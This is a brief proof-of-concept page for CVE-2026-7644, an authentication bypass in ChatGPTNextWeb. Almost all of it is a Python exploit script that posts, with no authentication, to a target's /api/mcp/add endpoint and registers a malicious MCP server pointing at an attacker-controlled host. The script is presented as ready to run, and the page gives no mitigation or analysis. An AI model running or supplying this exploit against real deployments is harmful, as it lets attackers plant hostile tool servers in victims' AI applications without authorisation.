CVE-2026-7644 ChatGPTNextWeb权限绕过漏洞

import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-host/api/mcp/add" # Malicious MCP server payload payload = { "name": "ExploitServer", "url": "http://attacker-controlled-server.com/poc" } try: # Send request without authentication headers response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Malicious MCP server added.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")